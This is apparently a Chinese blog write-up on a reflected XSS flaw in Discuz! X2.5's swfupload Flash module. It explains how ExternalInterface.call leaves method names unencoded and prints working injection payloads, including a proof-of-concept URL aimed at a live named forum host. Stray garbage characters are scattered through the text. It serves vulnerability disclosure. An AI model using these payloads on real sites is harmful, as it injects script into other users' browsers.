Flash应用安全系列[2]--Discuz! X2.5反射型跨站

admin

上回我们说
- P7 p  A" ?0 l+ Q& G5 b- }3 c3 C
flash.external.ExternalInterface.call($methodName, $parameter)
在浏览器中执行的是
2 y" {6 T9 Y" H- @+ w
: Q, `: ]$ _3 }6 S' t+ g) Ktry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
4 x: s5 k" t% t对于第一个传入的$methodName，flash player在输出js函数时是未经过任何编码的，上个例子里$methodName是全部可控的，但是我们知道了执行脚本的原理后，$methodName只需要部分可控，我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
: o8 x2 @& h5 h( C7 P6 y
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
$methodName = a())}catch(e){alert(/xss/)}//
& P  d" A$ o6 e" q/ u2 C) M结果是不存在object.a方法，跳到catch，执行我们构造的任意JS。

try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }

这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss，乌云上也有这个漏洞的分析（ WooYun: WordPress反射型XSS ）
7 }. |, ^5 c( m杯具的是，Discuz! X2.5中采用了一个同样的一个swfupload模块，而且还是修复前的版本。
4 B$ |) W) J- P/ U0 M" Z% X


漏洞文件：upload\static\image\common\swfupload.swf

) x2 U6 t, l( r# z原始SWF下载：http://swfpoc.appspot.com/vul/discuz_swfupload.swf
7 _2 x& o: N; ^

漏洞证明：http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
/ a# Y9 b! K' ]/ o8 u" p. h

7 r+ e3 Y- B+ V0 |% I) k. {* Z